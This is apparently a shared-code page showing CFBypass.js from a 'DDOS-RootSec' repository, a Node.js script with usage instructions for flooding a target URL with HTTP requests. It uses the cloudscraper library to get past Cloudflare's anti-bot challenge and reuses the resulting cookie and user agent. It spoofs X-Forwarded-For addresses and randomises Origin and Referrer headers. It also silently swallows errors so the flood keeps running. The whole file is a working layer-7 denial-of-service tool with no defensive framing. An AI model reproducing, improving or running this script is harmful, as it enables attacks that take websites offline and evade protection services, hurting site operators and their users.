Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/CFBypass.js
4607 views
1
var cloudscraper = require('cloudscraper');
2
var request=require('request');
3
var randomstring = require("randomstring");
4
5
var args = process.argv.slice(2);
6
7
randomByte = function() {
8
return Math.round(Math.random()*256);
9
}
10
11
if (process.argv.length <= 2) {
12
console.log("Usage: node CFBypass.js <url> <time>");
13
console.log("Usage: node CFBypass.js <http://example.com> <60>");
14
process.exit(-1);
15
}
16
var url = process.argv[2];
17
var time = process.argv[3];
18
19
setInterval
20
var int = setInterval(() => {
21
22
var cookie = '';
23
var useragent = '';
24
cloudscraper.get(url, function(error, response, body) {
25
if (error) {
26
console.log('Error occurred');
27
} else {
28
var parsed = JSON.parse(JSON.stringify(response));
29
cookie = (parsed["request"]["headers"]["cookie"]);
30
useragent = (parsed["request"]["headers"]["User-Agent"]);
31
}
32
// console.log(cookie + '/' + useragent)
33
var rand = randomstring.generate({
34
length: 10,
35
charset: 'abcdefghijklmnopqstuvwxyz0123456789'
36
});
37
var ip = randomByte() +'.' +
38
randomByte() +'.' +
39
randomByte() +'.' +
40
randomByte();
41
const options = {
42
url: url,
43
headers: {
44
'User-Agent': useragent,
45
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
46
'Upgrade-Insecure-Requests': '1',
47
'cookie': cookie,
48
'Origin': 'http://' + rand + '.com',
49
'Referrer': 'http://google.com/' + rand,
50
'X-Forwarded-For': ip
51
}
52
};
53
54
function callback(error, response, body) {
55
}
56
request(options);
57
});
58
});
59
setTimeout(() => clearInterval(int), time * 1000);
60
process.on('uncaughtException', function(err) {
61
62
});
63
64
process.on('unhandledRejection', function(err) {
65
66
});
67
68